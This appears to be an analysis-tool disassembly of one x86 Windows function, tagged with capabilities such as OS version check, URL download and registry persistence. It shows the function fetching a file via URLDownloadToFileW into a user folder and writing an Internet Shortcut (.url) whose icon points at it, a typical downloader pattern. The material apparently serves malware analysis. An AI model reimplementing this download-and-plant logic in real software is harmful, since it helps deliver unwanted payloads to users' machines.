Function at 0x4241c0
Capabilities:
Check os version
Download url
Persist via run registry key
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x497a98
mov eax, dword fs:[0]
push eax
sub esp, 0x5c0
mov eax, dword [0x4bfa48]
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x548], ecx
mov byte [ebp - 0x1d], 0
push 0x11c
push 0
lea eax, [ebp - 0x144]
push eax
call fcn.0047c710
add esp, 0xc
mov dword [ebp - 0x144], 0x11c
lea ecx, [ebp - 0x144]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x424247
mov dword [ebp - 0x144], 0x114
lea edx, [ebp - 0x144]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x424247
jmp 0x424b0a
cmp dword [ebp - 0x140], 6
jb 0x424254
mov byte [ebp - 0x1d], 1
lea ecx, [ebp - 0x14]
call fcn.0040d260
mov dword [ebp - 4], 0
push 0x8f
lea ecx, [ebp - 0x14]
call fcn.0040d5e0
lea ecx, [ebp - 0x10]
call fcn.0040d260
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
call fcn.0040d380
mov esi, eax
push 0x2f
lea ecx, [ebp - 0x14]
call fcn.0040c8f0
sub esi, eax
sub esi, 1
push esi
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x14]
call fcn.0040c940
mov byte [ebp - 4], 2
movzx ecx, byte [ebp - 0x1d]
test ecx, ecx
jne 0x4244ea
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
lea ecx, [ebp - 0x3a0]
call fcn.00401070
mov byte [ebp - 4], 3
push 0x2001f
push reloc.WS2_32.dll_accept
lea edx, [ebp - 0x3a0]
push edx
lea ecx, [ebp - 0x14c]
call fcn.00409d70
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x3a0]
call fcn.004276d0
push str.My_Pictures
lea ecx, [ebp - 0x3d8]
call fcn.00401ed0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x3bc]
call fcn.004010d0
mov dword [ebp - 0x54c], eax
mov eax, dword [ebp - 0x54c]
mov dword [ebp - 0x550], eax
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x550]
push ecx
lea edx, [ebp - 0x3d8]
push edx
lea eax, [ebp - 0x3f4]
push eax
lea ecx, [ebp - 0x14c]
call fcn.00409de0
mov dword [ebp - 0x554], eax
mov ecx, dword [ebp - 0x554]
mov dword [ebp - 0x558], ecx
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x558]
call fcn.00401eb0
push eax
lea ecx, [ebp - 0x150]
call fcn.0040d2a0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x3f4]
call fcn.00401100
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x3bc]
call fcn.00401100
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x3d8]
call fcn.00401100
lea ecx, [ebp - 0x150]
call fcn.0040d380
test eax, eax
jne 0x4243bf
push 0x4a3ddc
lea ecx, [ebp - 0x150]
call fcn.0043abc0
push 0x24
lea edx, [ebp - 0x3f8]
push edx
mov ecx, dword [ebp - 0x548]
call fcn.00423ca0
mov dword [ebp - 0x55c], eax
mov eax, dword [ebp - 0x55c]
mov dword [ebp - 0x560], eax
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x560]
call fcn.00413c20
push eax
push str._SystemRoot_
lea ecx, [ebp - 0x150]
call fcn.004280f0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x3f8]
call fcn.0040d320
push 0x4a3dfc
lea ecx, [ebp - 0x3fc]
call fcn.00439190
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x3fc]
push edx
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x400]
push ecx
call fcn.00428300
add esp, 0xc
mov dword [ebp - 0x564], eax
mov edx, dword [ebp - 0x564]
mov dword [ebp - 0x568], edx
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x568]
push eax
lea ecx, [ebp - 0x404]
push ecx
call fcn.00428300
add esp, 0xc
mov dword [ebp - 0x56c], eax
mov edx, dword [ebp - 0x56c]
mov dword [ebp - 0x570], edx
mov byte [ebp - 4], 0x10
mov eax, dword [ebp - 0x570]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040c8d0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x404]
call fcn.0040d320
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x400]
call fcn.0040d320
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x3fc]
call fcn.0040d320
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x150]
call fcn.0040d320
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x14c]
call fcn.00409d10
jmp 0x424625
push str.AppDatalocalLow
lea ecx, [ebp - 0x408]
call fcn.00439190
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x408]
push ecx
push 0x28
lea edx, [ebp - 0x40c]
push edx
mov ecx, dword [ebp - 0x548]
call fcn.00423ca0
mov dword [ebp - 0x574], eax
mov eax, dword [ebp - 0x574]
mov dword [ebp - 0x578], eax
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x578]
push ecx
lea edx, [ebp - 0x154]
push edx
call fcn.00428300
add esp, 0xc
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x40c]
call fcn.0040d320
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x408]
call fcn.0040d320
push 0x4a3e14
lea ecx, [ebp - 0x410]
call fcn.00439190
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x410]
push ecx
lea edx, [ebp - 0x154]
push edx
lea eax, [ebp - 0x414]
push eax
call fcn.00428300
add esp, 0xc
mov dword [ebp - 0x57c], eax
mov ecx, dword [ebp - 0x57c]
mov dword [ebp - 0x580], ecx
mov byte [ebp - 4], 0x17
mov edx, dword [ebp - 0x580]
push edx
lea eax, [ebp - 0x418]
push eax
call fcn.00428300
add esp, 0xc
mov dword [ebp - 0x584], eax
mov ecx, dword [ebp - 0x584]
mov dword [ebp - 0x588], ecx
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0x588]
push edx
lea ecx, [ebp - 0x10]
call fcn.0040c8d0
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x418]
call fcn.0040d320
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x414]
call fcn.0040d320
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x410]
call fcn.0040d320
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x154]
call fcn.0040d320
push 0
push 0
lea ecx, [ebp - 0x10]
call fcn.00413c20
push eax
lea ecx, [ebp - 0x14]
call fcn.00413c20
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
jge 0x424672
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18]
call fcn.0040d320
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.0040d320
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0040d320
jmp 0x424b0a
lea ecx, [ebp - 0x1c]
call fcn.0041f6d0
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x1c]
call fcn.0042bdb0
push eax
call dword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
lea ecx, [ebp - 0x1c]
call fcn.00413c20
test eax, eax
je 0x424acf
mov dword [ebp - 0x158], 0
lea ecx, [ebp - 0x1c]
call fcn.00413c20
mov dword [ebp - 0x58c], eax
lea eax, [ebp - 0x264]
push eax
push 0x8000
mov ecx, dword [ebp - 0x158]
push ecx
mov edx, dword [ebp - 0x58c]
push edx
mov eax, dword [ebp - 0x58c]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x2c]
call edx
test eax, eax
jne 0x424acf
lea ecx, [ebp - 0x384]
call fcn.0040d260
mov byte [ebp - 4], 0x1a
push 0x8e
lea ecx, [ebp - 0x384]
call fcn.0040d5e0
lea ecx, [ebp - 0x2f0]
call fcn.0040d260
mov byte [ebp - 4], 0x1b
push 0x8d
lea ecx, [ebp - 0x2f0]
call fcn.0040d5e0
push 1
push 3
lea ecx, [ebp - 0x37c]
call fcn.00428e80
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0x37c]
test eax, eax
je 0x424750
lea ecx, [ebp - 0x37c]
add ecx, 8
mov dword [ebp - 0x590], ecx
jmp 0x42475a
mov dword [ebp - 0x590], 0
push str._000214A0_0000_0000_C000_000000000046__r
mov edx, dword [ebp - 0x590]
push edx
call fcn.0043db60
add esp, 8
lea eax, [ebp - 0x37c]
test eax, eax
je 0x424789
lea ecx, [ebp - 0x37c]
add ecx, 8
mov dword [ebp - 0x594], ecx
jmp 0x424793
mov dword [ebp - 0x594], 0
push str.Prop319_2_r
mov edx, dword [ebp - 0x594]
push edx
call fcn.0043db60
add esp, 8
lea eax, [ebp - 0x37c]
test eax, eax
je 0x4247c2
lea ecx, [ebp - 0x37c]
add ecx, 8
mov dword [ebp - 0x598], ecx
jmp 0x4247cc
mov dword [ebp - 0x598], 0
push str._InternetShortcut__r
mov edx, dword [ebp - 0x598]
push edx
call fcn.0043db60
add esp, 8
lea eax, [ebp - 0x37c]
test eax, eax
je 0x4247fb
lea ecx, [ebp - 0x37c]
add ecx, 8
mov dword [ebp - 0x59c], ecx
jmp 0x424805
mov dword [ebp - 0x59c], 0
push 0x4a3e64
lea ecx, [ebp - 0x2f0]
call fcn.00413c20
push eax
lea ecx, [ebp - 0x49c]
call fcn.00429060
mov dword [ebp - 0x5a0], eax
mov edx, dword [ebp - 0x5a0]
mov dword [ebp - 0x5a4], edx
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x5a4]
call fcn.00413c20
push eax
push str.URL
mov eax, dword [ebp - 0x59c]
push eax
call fcn.0043db60
add esp, 8
push eax
call fcn.0043db60
add esp, 8
push eax
call fcn.0043db60
add esp, 8
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x49c]
call fcn.00429090
lea ecx, [ebp - 0x37c]
test ecx, ecx
je 0x424893
lea edx, [ebp - 0x37c]
add edx, 8
mov dword [ebp - 0x5a8], edx
jmp 0x42489d
mov dword [ebp - 0x5a8], 0
push 0x4a3e70
lea ecx, [ebp - 0x10]
call fcn.00413c20
push eax
lea ecx, [ebp - 0x520]
call fcn.00429060
mov dword [ebp - 0x5ac], eax
mov eax, dword [ebp - 0x5ac]
mov dword [ebp - 0x5b0], eax
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x5b0]
call fcn.00413c20
push eax
push str.IconFile
mov ecx, dword [ebp - 0x5a8]
push ecx
call fcn.0043db60
add esp, 8
push eax
call fcn.0043db60
add esp, 8
push eax
call fcn.0043db60
add esp, 8
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x520]
call fcn.00429090
lea edx, [ebp - 0x37c]
test edx, edx
je 0x424928
lea eax, [ebp - 0x37c]
add eax, 8
mov dword [ebp - 0x5b4], eax
jmp 0x424932
mov dword [ebp - 0x5b4], 0
push str.IconIndex0
mov ecx, dword [ebp - 0x5b4]
push ecx
call fcn.0043db60
add esp, 8
mov edx, dword [ebp - 0x260]
push edx
lea ecx, [ebp - 0x380]
call fcn.0040d2a0
mov byte [ebp - 4], 0x1f
push str..url
lea eax, [ebp - 0x384]
push eax
push 0x4a3e98
lea ecx, [ebp - 0x524]
push ecx
call fcn.00428460
add esp, 0xc
mov dword [ebp - 0x5b8], eax
mov edx, dword [ebp - 0x5b8]
mov dword [ebp - 0x5bc], edx
mov byte [ebp - 4], 0x20
mov eax, dword [ebp - 0x5bc]
push eax
lea ecx, [ebp - 0x528]
push ecx
call fcn.004283b0
add esp, 0xc
mov dword [ebp - 0x5c0], eax
mov edx, dword [ebp - 0x5c0]
mov dword [ebp - 0x5c4], edx
mov byte [ebp - 4], 0x21
mov eax, dword [ebp - 0x5c4]
push eax
lea ecx, [ebp - 0x380]
call fcn.00439210
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x528]
call fcn.0040d320
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x524]
call fcn.0040d320
push 1
lea ecx, [ebp - 0x2ec]
call fcn.004290c0
mov byte [ebp - 4], 0x22
push 0x40
push 0x12
lea ecx, [ebp - 0x380]
call fcn.00413c20
push eax
lea ecx, [ebp - 0x2ec]
call fcn.004291e0
lea ecx, [ebp - 0x544]
push ecx
lea ecx, [ebp - 0x37c]
call fcn.00428fb0
mov dword [ebp - 0x5c8], eax
mov edx, dword [ebp - 0x5c8]
mov dword [ebp - 0x5cc], edx
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x5cc]
call fcn.00402ee0
push eax
lea eax, [ebp - 0x2ec]
push eax
call fcn.0043db60
add esp, 8
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x544]
call fcn.004028c0
lea ecx, [ebp - 0x2ec]
call fcn.00429230
mov ecx, dword [ebp - 0x548]
mov byte [ecx + 0x14c], 1
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x2ec]
call fcn.00427cb0
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x380]
call fcn.0040d320
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x37c]
call fcn.00427c80
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x2f0]
call fcn.0040d320
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x384]
call fcn.0040d320
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1c]
call fcn.00408000
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18]
call fcn.0040d320
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.0040d320
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0040d320
xor edx, edx
jne 0x4241f2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.0047beb8
mov esp, ebp
pop ebp
ret